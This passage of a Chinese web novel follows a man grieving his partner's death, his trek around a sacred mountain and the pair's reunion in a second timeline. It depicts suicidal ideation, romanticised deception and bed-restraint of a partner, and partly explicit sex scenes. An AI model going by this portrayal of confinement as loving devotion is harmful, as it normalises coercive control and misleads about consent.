季一南:【想了想,觉得亲一只飞蛾还是有点困难。】 【你能不能告诉我你是怎么变的?我也学一下。】 李不凡:【图片】 【故事的开始是家里出现了一只大蛾子】 季一南:【希望等我回家的时候你已经把它拍死了。】 李不凡:【哦 哥哥怕啊】 季一南:【我怕你亲它。】 【宝贝快弄出去。】 季一南轻轻地笑出了声,还想要往下滑,办公室里有人的闹钟响了。 周围的人窸窸窣窣动起来,季一南就关掉手机,望着洁白的天花板好长时间。 今天工作不多,傍晚,季一南准时下班,带上常用的小菜篮,去市场花两块买到一只新鲜的番茄,还挑了一根排骨。 回到家,他做了三菜一汤,盛一整碗米饭,习惯性地挑走撒进菜里的香菜。 等吃了两口,才恍然发现那个不吃香菜的人其实已经不在了。 他又沉默着打开手机,想要继续看午休时读过的那段聊天记录,却发现自己没有注意那是哪一天,发了一会儿呆,想要关掉手机时,忽然有人给他打来电话。 找自己的只可能是工作,因此季一南听到对方说英语时,稍微停顿了一下。 “你好,我们是摄影网站的工作人员。”对方说了他们的具体网址,季一南想起,这是李不凡经常发布作品的地方。 “我们和李不凡先生是长期合作的关系,只是最近编辑都联系不上他,因为您是他的紧急联系人,所以打来电话问问,李不凡先生这段时间很忙吗?” 有大概半分钟,季一南都没有讲话。 他本来以为生活已经平静了,却突然有人提醒他李不凡已经去世的事。季一南平静地说:“他去世了。” 这次沉默的人变成了对方。 礼貌的工作人员首先表达了歉意,也说了一些类似节哀之类的安慰季一南的话,季一南都没有什么回应。 到这通电话的最后,那人才问:“我们网站上有很多人是他的粉丝,请问您可以写一份讣告吗?如果您心情很糟糕,我们这边也可以代笔。” “不用了,”季一南说,“我写完用邮箱发给你们。” 挂断电话以后,他才久违地打开那个摄影网站。 甚至不需要他可以搜索,李不凡的作品就获得了很靠前的推荐位置。 最新的几张全部都是在香格里拉拍的,拍摄时间已经是他最后一次见到李不凡的时候了。 推荐语里写他是“风景大师”,所有发布到网上的照片都没有“人”这个主体的出现。 而这段评价的后面,是李不凡对于这个问题的回答。 李不凡:可能和我从小到大的经历有关,我觉得人的出现是对景色的破坏。自然是自然,人是人,有时候人并不是那么配得上自然。 采访者:所以即使是您的亲人、爱人,您也不会为他们拍摄照片吗? 李不凡:当然不是,照片是最好的留恋方式,如果是我爱的人,我恨不得多给他们拍,但不会选择发到什么平台上,那些是属于我自己的记忆。我不想分享我和我珍惜的人之间的故事,不想它们受到哪怕一点点破坏。 采访不长,李不凡也没有说什么。季一南复制网站的邮箱,点开了自己的邮件,开始写讣告。 他删删改改,脑子还是很空,甚至连一句完整清晰的话都没办法打出来,最后只写了最简洁的版本。 讣告: 我是李不凡的爱人,他于2025年12月9日遭遇意外不幸离世。 与躁郁症的对抗占据他生命的绝大部分时光,我很幸运,能够陪伴如此坚强的他在这个世界走过短暂一程。 感谢大家对他的喜爱和关注,希望他在下一个世界里获得真正的幸福和快乐。 键盘声停止了,季一南关掉笔记本,映在脸上的屏幕的光也随之消去。 他继续坐在那张餐桌边,菜凉了个透顶,好像窗外又暗了不少。季一南还是一副很冷静的样子,可他知道自己快要疯了。 一顿饭只吃了几口,他却以为自己结束了晚餐,站起身把米饭都倒掉了,才感觉到饿,想是要继续吃还是干脆不吃了,如同一块雕塑那样忘记了要动,笔直地站了两个多小时。 等回过神时,他想到一个自己必须要去的地方,于是进了房间,在衣柜里翻出冲锋衣和背包,带走李不凡的骨灰,发动了越野车。 冬季道路结冰,季一南车速很慢。国道上的路牌从眼前划过,他在朝央娜雪山的方向开。 车内寂静,尽管窗户紧紧关着,风声依旧嘹亮,呼啸着碾过。 “前方,天女镜。” 导航清晰明亮,季一南却连头也没有偏。 这里对他来说和威斯林顿一样,如果可以,季一南不想再去了。他想起李不凡刚走的时候,自己还总去情人大桥边买冰淇淋,那时是觉得总有一天会再见到。 现在呢? 季一南一边开车,一边哭出了声。 现在再也见不到了,他去哪里也不可能找得到李不凡了。不管他再到那些他们去过的地方多少次,李不凡都不会再回来。他不想一个人孤独地徘徊,比鬼还像鬼,想到那些和李不凡有关的地方就很痛苦。 要握紧方向盘…… 季一南哭得头脑充血,觉得就这样放开好像也无所谓了。 然后车会撞上栏杆或者山,应该会很痛吧,好像死掉也只是一瞬间的事。李不凡呢?这样痛过吗? 恐怕他不是只有死的那瞬间才痛,他明明已经痛苦很久了。 所以季一南也有责任,他不该相信李不凡,不该让他离开自己。什么爱不爱的,都是屁话,李不凡不爱他也可以,无所谓,他只要他活着。 可是现在一切都晚了,什么都没用了。大概季一南也是个没用的人,他救不了身边任何一个,现在连死的勇气都没有。 季一南喘着气,把眼泪又压下去,强撑着精神握紧方向盘。 今晚要开到央娜雪山,不可能了。 天快亮时,金轮寺在远山映照的光芒下露出一角。季一南停了车,走进寺庙边唯一的旅店,要了一个房间。 这里的人都是拼房住,但现在是冬季,游客很少。季一南推开木门时,房间里只有一个小男生躺在窄床上,看见他下意识就坐了起来。 “我还以为今天没人来了。”那男生朝季一南笑了下,头上顶着很怪异的长发。 季一南轻点了下头,算是回应,他想现在自己大概脸色很差,好像也没什么力气了,只想快点睡一会儿。 放下背包,季一南掀开有些旧的、布料粗糙的被子,和衣躺下来。 房间里没有暖气,木窗被寒风吹得哐哐作响。 窗帘透出的蒙蒙光亮中,旁边的男生压着嗓子问:“哥,那窗户没关紧,你冷吗?我去关。” 季一南想说不用麻烦,却听见对方站了起来。 拖鞋在水泥地板上响了几声,木质的窗框吱呀地扣紧了。风骤然小了,室内跟着暖和了许多。 “哥,你也是去转山的吗?这个季节人太少了,我本来是想到了这边再看看有没有人能一起的……我第一次来高原,”他不好意思地笑笑,又在床铺上躺下了,“怕遇到什么事儿。” 季一南嗯了一声,闭上眼。 头很痛,但还是睡不着,季一南翻了个身,问对方:“你为什么来?” “我带我的小猫来,它去世一个月了,我想去往生石,下辈子还要让它当我小猫。”男生说。 季一南听完就沉默了,过了一阵才说:“早点睡吧,明天可以一起走。”魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 50-57 第51章 醒来时风停了。季一南看对床的男生还在睡觉,没有叫醒他。 他轻声走出房间,被老板娘叫住:“吃早饭吗?” 老板娘手一指,季一南便掀开布帘,弯腰进了一个很小的房间。 土墙上的小窗户透出清晨的光,正中间摆了一张大圆桌,两个游客挤在同一个角落。季一南拿了一只塑料碗,打开保温桶,给自己装了一口粥。 “包子来了。”老板娘端着热腾腾的两屉包子走进小餐厅。 昨晚那个和季一南睡一个房间的男生就跟在身后,看到季一南愣了下,搓搓头发说:“我还以为你已经走了。” 他拉了张木凳坐下来,说叫他杉子就行。 “季一南。”季一南说。 早饭后时间还早,季一南吃了一根能量棒,和杉子一起朝央娜雪山徒步。 昨晚杉子提到的“转山”,是这边当地人的说法。 从金轮寺出发,围绕央娜雪山徒步一整圈,总共八十公里,大约需要三天的时间。算上金轮寺,路上只有三处可供休息的旅店。 在本地人藏民的心目中,绕央娜雪山转山一周,便可洗尽一切罪孽,而转十圈,便可在转世轮回中免受地狱之苦,百圈即可变为神佛。 在户外爱好者的眼中,这里则是体验徒步的天堂。 昨夜下了雪,今天早晨雪停了,气温慢慢起来,道路变得有些泥泞,有些地方坡度很大,甚至算不上路。 季一南把背包里的登山杖拿出来,走了一会儿,才注意到杉子身上什么都没有,跌跌撞撞地跟在后面。 “这个给你。”季一南把登山杖递给他。 “啊?哥我不用。”杉子笑道。 他身上没什么装备,就一只简单的背包,衣服也是普通的羽绒服。 “拿着,不然我还要等你。”季一南说。 杉子能听出来季一南只是想让他接下这根登山杖,乐呵呵地说了谢谢。 他们没怎么聊天,就只是埋头走路。 天地都很安静,哪怕偶尔路过一些在说话的游客,那些陌生的人对季一南来说也只是很快就擦肩而过。 李不凡走后,这是季一南第一次体会可以什么也不去想的感觉。 他只要赶路就好…… 第一天夜里,季一南睡得很好。 他早就习惯了高原的海拔,哪怕央娜的海拔还要更高一些,他也没有太大的反应。 第二天又走一天,傍晚时季一南已经能远远望见垭口了。 朝旅店走时,他看见好几个斜躺在路边的人。 他们一看就是本地牧民,身上穿着很有民族特色的服装,长袖子,皮毛,还在胸前挂着金银珠玉。雪下了起来,扑在那些充满高原红的脸上,他们却像毫无感知那样一动不动。 受伤了?还是…… 季一南跑过去蹲下来,试图晃了晃那个人。 对方没什么反应,只是眼珠子动了动。 “怎么了?要不要我叫救援?” 听到季一南说叫救援,那人才伸出手拉住他,很轻地摇了摇头。 身后传来咚的一声,季一南回过头,又一个人倒在了地上。 杉子跑过去,趴下来听对方讲话,好像是很受震撼,怔了一会儿,才走到季一南身边。 “我们走吧,他们不会走的,只是躺下休息一会儿。”杉子说。 季一南很快也反应过来,他们是带着信仰来的,有自己必须完成的使命,没有人能够阻挡。 离旅店不远了,他和杉子重新上路。 天就快要黑了,远处的央娜雪山也隐匿在云层中,杉子又和季一南聊起了天。 “哥,你好像没说过,你为什么来这里?我看你装备挺齐的,一路都没怎么说话,只是过来徒步吗?” 季一南回了下头:“我在这边工作。” 他又垂着眼,盯着地上一块一块小石头。其实路很难走,对季一南这样经常爬山的人来说,他更加能够明白,就算这只是一条徒步路线,也难度极高。 而有时候与那些一边下跪磕头,一边前进的人并行,季一南居然会感到悲哀。尘世的修行是如此痛苦,为了那缥缈的关于幸福的承诺,人又宁愿承受这样的痛苦。 “给你看我的小猫。”杉子从衣服口袋里拿出一张小猫的照片。 那是一只橘猫,嘴巴和四只爪子都是白色的毛。 “我的小猫很重要,因为它在我很艰难的时候一直陪着我。”杉子把那张照片珍惜地放好,一抬手,竟然摘下了自己的头发。 原来他一直是假发,季一南顿住了脚步。他怕自己表现得不够尊重,连惊讶也收敛得很好。 “我还没告诉你,其实我生病了,是癌症,也许很快就会离开这个世界,和我的小猫一样,”杉子又平静地戴好了假发,“来这里就是想问问神山,下辈子我还能不能遇到我的小猫。” 寒风起,季一南第一次有了说点什么的欲望。 他还是走着路,这里又缺氧得厉害,季一南把话讲得很慢:“我的妈妈和爱人都去世了,我也不是想来这里做什么,只是最近总是想到他们,就想给自己找点事情做,分散一下注意力。” 杉子也没想到季一南的经历是这样的:“对不起啊,我没有想要你说什么的意思。” “没事……自从他出事以后,我还没和谁提起过,有时候也很郁闷。”季一南说。 话只讲了两句,季一南却又想到李不凡,想了一整晚。 旅店里八个人一间房,条件很差,被子脏又很粗糙,窗户不紧,风在外呼号,还有人打着震天响的呼噜。季一南侧着身,盯着地板上一束月光。 李不凡怎么就这么走了,没有了呢? 季一南吸吸鼻子,同时还想到宋宁。 原来人的离开其实是这样轻易的一件事,他脑子挺空,就这样反反复复想着这么一句话。 到后半夜,觉得必须要睡了,季一南才裹了裹被子,安静地合上眼。 次日清晨,天还没亮,他和杉子就出发了。 今天他们要翻过垭口,抵达往生石。 途中经过天葬台,在很远很远的位置,季一南看一群秃鹫在天空盘旋。 已经几乎没有路了,到小腿高的石块一颗一颗垒起来,垫满了上坡的整片雪原。 几十米的经幡从高处往下铺,一路的雪花将前人的脚印通通埋掉。 海拔已经到了接近六千米的高度,季一南从背包里翻出氧气瓶,一步一步踩着石头往上。 风雪迎面而来,像刀锋一样,刮得脸生疼。 季一南拉高了围巾,只低头看脚下的路。他一步一步走,不再关心到底还有多远。 好像人生从来都是爬坡,小时候是宋宁牵着他朝上爬,后来是他和李不凡一起朝上爬,再后来,他一个人来了这里。 好像重重挑战都是应该的,季一南忽然意识到也许他和李不凡都可以拥有更加平顺的人生,可他又无从选择。 于是不甘就变成一个无解的问题,他就是骗不了自己,也没法去幻想一个更好的结局。 那种坐在车里的感觉又出现了,想干脆就这么结束这一切,和李不凡用相似的方法死去。 季一南走得跌跌撞撞,勇气像呼吸一样起起伏伏。好在下一步,他迈出去了,眼前就是往生石。 一个半人那么高的大石块上贴满了照片,都是被怀念的亲人。杉子也拿出小猫的照片,甚至还拿出了一张自己的,贴在一起。 “很多人说这样没什么用,”杉子说,“但是我现在也只能做一些没什么用的事了。” 他闭上眼,像在祈祷。 白雪茫茫,天地茫茫,很多照片已经看不清了。 季一南用指尖抚过那块石头凹凸不平的表面,想到了李不凡曾和他说过的话。 “世界上的一切都有灵,是永远不会消散的,哪怕一个人去世了,变成一抔土,那也这个世界的一抔土,能养出漂亮的小草、小花。” 李不凡的声音像从央娜雪山的山巅传来,随着风,随着雪。 “哪怕人死去,也会永远活着,所以你要爱这个世界。” 要爱这个世界…… 季一南侧过脸,神山终于在风雪之中露出面目,圣洁而庄严地耸立在天地之间,呼号的风声像在召唤他—— 朝这里走来,再靠近一点。 只是季一南做不到心无杂念。 他合上眼,非常单纯、非常执拗地想:如果真有神明,请让我和我爱的人,再重逢。 翻越垭口一路下山,杉子显得很沮丧,没什么精神。 季一南以为他是累了,等下了山回到旅店,问他:“等会儿我送你回去吧,你是要回古城吗?” “啊,好啊哥。”杉子说。 他和季一南先拼车回到金轮寺。车开了一会儿,杉子又窝在后座说:“算了哥,我等会儿再回去吧,现在想自己待一会儿。” 他吸了口气:“来之前我人生剩下的所有事就是翻过那个垭口,转完那座雪山,现在我做到了,好像这些事情也没有想象中那么难,那以后呢……以后怎么办,以后我……我还要做什么。” 季一南看着他,这一刻居然也能理解他的茫然。 人生已经没什么希望以后,人是需要靠某种执念支撑的。 他们在金轮寺分道扬镳,季一南坐在驾驶座,从后视镜看杉子的背影。 在央娜雪山,像他这样的人有很多,甚至可能绝大多数的人连表情都是相似的。 汽车启动之前,季一南的电话响了。 号码来自国外,他不知道对面会是谁,毫无预兆地接起。 “您好,请问您是季一南先生吗?我们在李不凡先生遇难后的登记名单上看到你的姓名和电话。”对方说的是英文。 “是我。”季一南说。 “我是当初和他一起上山的那支科研队伍的队长,李不凡出事以后,我们都很懊悔,我们非常珍惜他用生命获得的样本,所以想要尽快取得研究成果,目前已经有突破性的进展了。 “我们从样本中分析出,当地水源中含有的特殊微量元素,确实对我们研究的植物的生长具有重要意义。这种植物对某种药物研发至关重要,我们想要将这种植物种植在更多的地方。因为细节涉及到保密原则,所以不能过多透露,但我代表我们实验室,甚至是整个国家,感谢李不凡先生的奉献。” 挂掉电话以后,季一南在旷野上抽了一支烟。他终于下定决心,要给李不凡一个归宿,于是没有直接下山,而是掉头,去了央娜雪山山脚下的碧琼海。 那其实是一片草地,只有在夏天雨水多时才会变成湖泊。 季一南停了车,带着李不凡的骨灰走向碧琼海的中央。 这里此刻还称不上草地,只能算是一片被雪覆盖的荒原。季一南抬了下头,从这个角度,能够完整地看清央娜雪山,他想李不凡可能会喜欢这个地方。 可到用掌心捧起李不凡的骨灰时,他忽然又犹豫了。 就这样埋葬他,可以吗? 而下一秒…… 起风了。 金色的晨光穿透薄雾,勾勒出雪山的轮廓,温柔的清风抚过季一南的掌心,裹挟尘埃飘向远方。 是你吗? 季一南好像听到了来自李不凡的答案,在往生石见到那么多生和死也可以保持平静,他还以为自己麻木了,原来只是还不到那个瞬间。 好像那风就是李不凡。 他不自觉地张开双臂,衣服随之鼓了起来,那风拥抱他,又穿透他。 在下一个世界相逢,也许还遥遥无期……但当来年春天降临,若李不凡再来见他,高原的风也会如今日此刻,吹拂山坡上的格桑花。 第52章 对于真相尚在接受阶段的李不凡,和季一南一起在情人大桥上走了好几个来回。 “见到我第一眼的时候你在想什么?”李不凡问。 “我疯了,”季一南很平静地说,“我看到你在大厅睡觉,我觉得自己出现了幻觉,这个世界可能是我幻想出来的。” 反正他疯过不止一次。 “季一南,”李不凡垂着眼睛,“你还说是我会觉得这世界疯了。” “我当时想这应该就是一场梦,在梦里希望你可以睡得好一点,所以把外套给你了。”季一南说。 走进大堂看见李不凡侧影时,季一南虽然觉得熟悉,却强迫自己不要去看。 这么多年他见过太多和李不凡相似的身影,每一次都落空,即使莫名回到从前的时间线上,可那也已经是李不凡去世以后,他已经不相信自己还能遇到李不凡,也不想再因为失望痛苦万分了。 后来真正看到李不凡的脸,就先告诉自己这只是梦,去给他盖衣服时却连手都在抖。 但世界上真的有这么相似的人吗?何况季一南还看过李不凡耳后的那道疤。 那痕迹就算化成灰他都认识,何况如此清晰地出现在他眼前呢。 “那……”李不凡想了想,还是问,“我离开以后,你呢?” “我?”微风吹动季一南的头发,“我过得还可以,每天在研究所上班下班,自己回宿舍做饭,可能比你想象中还要平静一些。” “……是吗?”李不凡可能是没有相信,摸了摸季一南的侧脸。 “以前我从来没有想过你和我妈妈会离开我,哪怕我知道……”季一南顿了下,“哪怕我知道人都是会死的。” 李不凡抬手抱住他。 他现在能做的很少,只能抱得再用力一点。 “那你呢?你是什么时候来到这里的。你一个人……是不是后来又过了很多年。” “在我四十岁的那一年,”季一南偏过头,亲了亲李不凡的耳垂,“那天是你的生日,我早早就订好了一只小蛋糕。 “我当时在想,到底应该给你插几岁的蜡烛。可能你在另一个世界,已经变成小朋友了。” 说到这里时,季一南无声笑了笑,可李不凡只觉得心疼,他抵住季一南的额头,轻声讲:“也可能没有吧,我会等你的,怎么舍得一个人就这么离开了。万一以后再也找不到你了,怎么办? “毕竟听上去这里不止一个世界,要是走散了很难再找,就要再晚一点才能见面了。” “我来到这里也很突然。我以为我已经没有那么痛苦了,但我来到这个世界的时候,我发现离你坠崖已经过去一段时间了。以前我们有两个玩得很好的朋友,是我们的高中同学,我联系到了他们。在他们的记忆里,你还好好的,但我又找不到你了。” 季一南慢慢说:“……我当时更难受了,现在连自己唯一的回忆也像是假的一样。我本来以为这是一次新的机会,狂喜之后才意识到我又错过了。 “好在后来你还是出现了。” 季一南不是没有假设过,这个世界有重来的可能。 每次开始这种假设,他就会首先回忆他们分别以前的事。 季一南还是没弄懂李不凡突然和他说分开的原因,他甚至怀疑过李不凡是不是得了绝症,可是他的体检报告没有异常,他又去查李方知和万玫,但自从李方知车祸以后,他们的确没再联系过李不凡。 没有任何理由……至少季一南找不到。 这时他就觉得自己很没有用,又极端地想是不是他的爱把李不凡害死了。痛苦一会儿,思绪便飘到能再见李不凡的可能性上。 他预设过自己会有很多种复杂的情绪,但真到那时,内心反而前所未有地安静。因为真的反而像是假的,他不敢再往前一步,怕打破。 哪怕是彻底反应过来以后,他的心情也不再如想象中波折,从前那巨大的内疚,一点点恨意,无穷的爱与寄托,顷刻就消失了,只剩下十分明确的要做的事。 第一是不要再让李不凡想起过去,不要再让他生病。 第二是让他心甘情愿和自己在一起,最好回到他们曾经的生活,即便他要去做以前会不齿的事,一环套一环地骗李不凡。 季一南的脑子几十年来没这么清醒过,他笃定了目标,明确了方案,便大步地往前跑,不再执着于探究重生的缘由。 唯一的错误是忽略了李不凡也有回忆起过去的本领,但不管再重复多少次,季一南也不会改变自己的选择。 他不再执着李不凡和他说分手的原因,那根本无关紧要。存在才是这个世界上最奢侈的事,爱又算得了什么。 天都暗了,街边的灯亮起来,取代了晚霞。 重逢应该高兴才对,可李不凡笑不出来,眨眨眼,觉得已经有些刺痛了,便靠上前吻了季一南,不想被让发现。 夜风好黏啊,带着热气和潮湿,李不凡的五指轻轻碰着季一南下巴,很认真地亲吻他。 分开以后,他喘着气,说:“我觉得真相不是这样的,我不会就那么丢下你。我还是想去医院,我要去接受恢复记忆的治疗。” “但是如果你……” “我刚醒来的时候就去检查过了,双相会造成大脑器质性病变,但我的大脑是正常的,这说明我现在并没有患上双相。而且我现在很幸福,很充实,我相信不是恢复记忆就会恢复疾病的,”李不凡说服着他,“可能你不介意,但我很介意,我也需要一个我当初会做那些事的理由。再说了,我本来就是能够慢慢想起那些事的,只不过是早晚的问题,我们逃避不了。” 季一南看上去还是有些犹豫,甚至微微皱起了眉。 李不凡只好问:“那如果我真的又得了双相,你会离开我吗?” “怎么可能。” “这样就可以了。”李不凡笑笑。 季一南反应很快地问他:“那如果你真的想起来了,还会离开我吗?” “怎么可能。”李不凡说。 “怎么不……” 李不凡捂住季一南的嘴:“同样的错误我不会再犯一次了。也许当年我真的没什么选择,但过去是过去,现在是现在。” “季一南,我们不要在情人大桥见了,”李不凡看着他,眼中像被街灯点了一颗光,“虽然我不知道当时到底发生了什么,但好像每次我们要在情人大桥做什么,都没太好的结果。勉强迷信一次,等我恢复记忆的时候,我们就去央娜雪山。 “我回香格里拉,你要来接我。” 过了许久,季一南才说:“好。” 季一南的机票在三天以后。 李不凡已经联系好医生,并预约了之后一个月的治疗。 在季一南要走的前一个晚上,他给季一南看了自己的预约记录。 那时季一南很平静地躺在床上,翻了翻李不凡的预约页面,就关掉了手机,靠过去一边亲他一边问:“如果一切顺利的话,你会什么时候回来?” “可能两个月,三个月?” 季一南大概是有些不满的,李不凡能感觉到。 他也不是有意要和季一南分开,毕竟两个人都还有工作,他特意打电话回去和小柳宋朗白解释的时候,就已经很不好意思了。 嘴唇痛了一下,李不凡才回过神。 季一南的影子把床头的灯挡住了,他垂着眼,声音很轻地问:“就一定想要记起来吗?” 李不凡点头。 季一南不再多说什么,只是温柔地抱住了李不凡。 次日醒来时,李不凡先感觉到了手臂的酸胀。 他想要缓解那种酸痛,却发现动弹不得。 茫然地睁开眼,只见纱帘在清晨的光线中轻轻飘动,房间的地板是木质的,墙壁上贴着浅绿色带花纹的墙纸。李不凡偏过头,怔住了,自己的两只手竟然被塑料手铐扣在床头。 头很晕,想了片刻,才意识到这里好像是他以前在威斯林顿住的房子。 可是自己怎么会在这里? 他挣扎了片刻,门响了响,季一南拿着一杯水走进来。 看见李不凡醒了,他只眨了下眼,到李不凡身边,问他:“要不要喝水?” “什么意思?”李不凡缓了缓神,“你从哪里弄来这些的。” “楼下便利店买的玩具手铐,不要害怕。”季一南把水杯放下,坐到床沿,替他解开了一只手的手铐,温柔地垂眼,为他揉了揉有些发红的手腕。 看季一南的神色,李不凡什么都想明白了,他坐起身,忍不住笑了笑,单用一条手臂环住季一南的腰,趴在他肩头。 “你飞机是不是已经过了?” 可能是没想到会得到一个拥抱,季一南愣了下,才嗯了一声。 “工作那边没问题吗?”李不凡问。 “暂时没问题。”季一南说。 “我饿了,”李不凡闭了闭眼,“想吃早餐。” 季一南把小桌挪到床边,给李不凡端进来一顿热气腾腾的丰盛早餐,还把他另外一只手上的手铐也解掉了。李不凡喝牛奶,他就坐在旁边给他涂果酱。 “这是我们以前住过的房子。”李不凡环视了一圈。 “我买下来了,”季一南递给他面包,“不过因为一直没人住空在这边,我就让原来的房东偶尔过来看看。” “那我去的时候,为什么房东会说……” “我提前和她交代过,如果有人来,就说房子是她的。” 原来季一南的计划如此缜密,李不凡咬面包的动作放慢了一些。 早餐以后,季一南陪李不凡看了一会儿电影,之后接了一个电话,说有工作要远程处理,于是又把李不凡的手扣上了一只。 李不凡靠在床头,无奈地瞥了一眼塑料手铐,干脆找了本书来看。 晚餐之后,季一南带李不凡去浴室洗澡。 他一直牵着李不凡的手,像对待一个生活不能自理的小孩那样,给他涂沐浴露和洗发水,帮他做好所有的事。唯一有所泄露的,是他面对一个淋着水的李不凡时翘起的xx。 可他不出声,不索要,装作什么都没发生的,把李不凡洗好以后带回卧室。 可能是有段时间无人居住,卧室的灯光并不明亮,甚至有些古旧,构成一种独特的风格。 季一南又把李不凡扣回床头,拿来吹风替他吹干了头发。 “还想做什么吗?”季一南问。 这种时候又像很民主的样子,李不凡忍不住在心里笑了声。 “不了,睡觉吧。”他说。 季一南检查了一遍链条的长度,确保李不凡能够舒服地翻身,又不至于离他太远。他拧灭了床头的灯,躺下来,半个身体压住李不凡,从上往下把他盖在自己怀里。 粗重的呼吸落在李不凡耳边,因为感觉到了大腿根抵住的东西,他连眼睛都没有闭上。 “季一南,”他轻轻叫他名字,“刚才洗澡的时候,你看着我都y了。” 季一南清了清嗓子,才嗯了一声,稍微抬起一点身体,把自己挪开。 然而李不凡却眼疾手快地用一只手摁住他后腰:“你把我另一只手也解开,我帮你。” 他提到把手解开,季一南便呼吸一顿,过了片刻,他用掌心按住李不凡的膝盖,把他的双腿并起来,很慢地说:“……这样也可以。” 房间里开着空调,但季一南很快就出汗了。他的手臂撑在李不凡脸侧,身体摆出居高临下的样子,眼神却带着渴求。 他用嘴唇不住地碰着李不凡的脸,就为了能一直看着他。那条塑料的锁链频繁地响,响得季一南都听不见李不凡的喘息了,便一把扣住了李不凡的手。 有些年头的床板很快发出断断续续的吱呀声,季一南的额头抵在李不凡脸边,牙齿咬着他的耳朵。 等那声音平静,他的手在被子里找了一会儿,找出刚才脱掉的衣服,摸黑擦干了李不凡腿上的泥泞。 “还好我皮糙肉厚……”李不凡低声说,“不然要留印子了。” 季一南垂着眼:“糙什么糙。” 还不是纸片一样,碰到就碎了。 第53章 他们就这样一起待了三天。李不凡完全没有再提为什么会被季一南困在这里这件事,似乎也不在意就这样待在房间里。季一南对他的反应有些诧异,但也没有多问,真有一种要把李不凡就这样关到地老天荒的架势。 到第三天傍晚,医院给李不凡发短信,提醒他明天早晨记得就诊。 李不凡看了一眼时间,季一南出门采购,这个点应该就快到家了。 虽然他很想陪季一南一直玩这样的游戏,但病还是要看,生活也要继续。 他知道季一南也很清楚这一点。 李不凡想了想,单手拽掉上衣,又把裤腰往下压了一点。黄昏的光线从窗帘的缝隙透进来,把皮肤染成蜜一样的颜色,李不凡出了口气,闭上眼想季一南那双眼睛,手碰了碰,就湿了。 他做得很投入,到动情处,鼻腔忍不住发出一声轻哼。这时有人推开了房门,但李不凡没有听到。 木地板吱呀地响,等到季一南的影子挪移到他身上时,李不凡才睁开一双潮湿的眼,笑着说:“你回来了。” “你在干什么?”季一南在床边坐下,覆住了李不凡的手,缓慢地动起来。 “我想做这种事很久了,毕竟你天天躺在我旁边。”李不凡看着他。 他听见季一南深吸了口气,将他抵到床上吻。 季一南穿着很薄的衣服,两个人隔着一片布料,每片皮肤都紧紧贴在一起。他用湿着的手指剥掉李不凡的衣裤,将视线落向床头柜上的护手霜。 东西不齐,有点痛,李不凡可能是皱了皱眉,季一南就停了一会儿,把他的头发朝上拨了拨。趁着喘着口气的间隙,李不凡一个翻身,将季一南压住了。 锁链被他猛地扯了下,李不凡的手腕压得很低,好像连骨头也红透了。季一南偏过脸,盯着那手铐的位置,心疼地用拇指摸了摸。 “这种时候……”李不凡趴在他身上,汗流了季一南一颈窝,“也不能松开我么。” 季一南沉默着,却突然托住了李不凡,d弄得他浑身都抖起来。 天光都暗了,光线从窗户的一端移到另一端,季一南咬着他的嘴唇,猝不及防地说:“那天也是在这个房间……” “我醒来的时候,窗外也差不多就这么亮。” 李不凡脑子清醒了大半。 “前一天晚上你还在和我拍照呢,在一张央娜雪山的照片下面。我们高中毕业旅行的时候去了香格里拉,但是没有去央娜雪山,你很想去。 “那个时候我还以为,我们总有一天会一起去,也许就是明天。但是没有明天了……明天我醒来,你就走了。” 季一南把李不凡抱紧了,两个人都湿漉漉的,他的心脏在缓慢地跳。 “如果你再丢下我,我活着就真的没有意义了。” 他吸了口气,把大半张脸埋进很厚的枕头里。 李不凡怔住了,俯身单手揽住季一南,鼻尖抵在他颈侧,“我不会。” 他反复说:“我不会……” “我不想让你一个人承受这些,”李不凡说,“你说这个世界只有你一个人记得从前了,不是的,我也可以,我不想让你那么孤独。我相信我不是无缘无故要走的,我觉得可能你也想到过。 “我要去治病,我想都想起来,是不想让你再这么辛苦了……” 他看不了季一南哭,想到第一次遇到季一南,在大堂里,他站在前台,和一棵树木一样挺拔。那时虽然季一南对他而言还是个全然的陌生人,李不凡仍然以貌取人妄下了判断:季一南应该有一颗很坚韧的心。 后来也确实证明他的想法没错,虽然一个人的长相和气质并不由性格决定,但多少会有所反映。 当季一南这样的人稍显软弱,这份软弱又是因他而起,谁都会心疼。 但他的承诺不是施舍,李不凡摸了摸季一南湿润的头发。 “如果……”李不凡顿了顿,“如果你还是不放心,那我们明天就去结婚吧,在威斯林顿。” 季一南埋在枕头里的脸很快地转过来,他眼皮有些红和肿,向李不凡确认时倒是神志清醒。 “真的吗?那边应该是每天九点钟上班,离我们最近的地方只有两公里。” “你怎么知道得这么清楚。”李不凡失笑。 季一南亲亲他的脖子,说:“你天天看你也清楚。” 好吧,如果一张证明能换季一南安心,那当然是很值的。 只是仔细想想,李不凡也说不明白自己是哪一刻学会了季一南身上那种不管不顾的冲动。 可能人真的很容易被爱打动。 李不凡用掌心抹了一把季一南的脸,又亲了亲他的嘴唇,希望他以后都不要再掉眼泪了。 虽然这个提议十分匆忙,但过程没有缺少半分。 第二天,他们穿上西装,外面各套一件羽绒服,就这么前往教堂。 当地结婚仪式简单,证明也只不过是两张普通的纸,丝毫看不出正式。可季一南态度神圣,连神父毫无情感地说的那几句已经重复过无数次的祝辞,他也珍重地重复了。 教堂外一片楼梯,几只鸽子闲散漫步,季一南牵着李不凡的手,走过几级台阶后坐下。 “以前喻修景和徐祁年结婚的时候,我很羡慕他们,就说我们以后也可以。你当时表现得很沉默,好像我说错话了,我想到你还病着,可能是因为生病,不会给我什么承诺,但后来你居然又说,以后也许是可以的。”季一南坐在背光的方向,提起这件事,还能想起自己当时的生涩。 他也想不明白,明明平常做什么事都很成熟稳重,偏偏只要一涉及和李不凡的感情,他好像就很容易太直白和莽撞。 “对不起,”李不凡说,“说了以后,又让你等这么久。” “我可能也没有那么期待吧,毕竟只是一张纸而已,我们当时那样就挺好的,不用道歉。”季一南说。 不期待今天还那么认真,估计又是假话。 “什么都不用道歉,那我天天欺负你行不行啊。”李不凡说。 “你别去欺负别人就行。”季一南笑。 他岔开话题,“不过后来,他们也分开了。” “我们的好朋友吗?”李不凡问。 “是啊,高中就我们四个玩得好,不过小景最近封在剧组里拍戏,徐祁年……之前为了问你的事情,我也联系了他好久,他学的是地理,去南极做科研,已经待了好多年了。”季一南说。 估计是为了躲着喻修景吧,可能也是为了躲开这个让他难受的地方。 “也不用担心,上一辈子他们后来又在一起了,还举行了婚礼,”季一南晃晃他的手,“我现在是个预言家了。”李不凡笑笑。 “之前你说,如果他们举行婚礼,你要穿玩偶服去,我不知道你是随口说的,还是真的这么想,但那个时候又没办法问你,我就按照你的想法做了。” 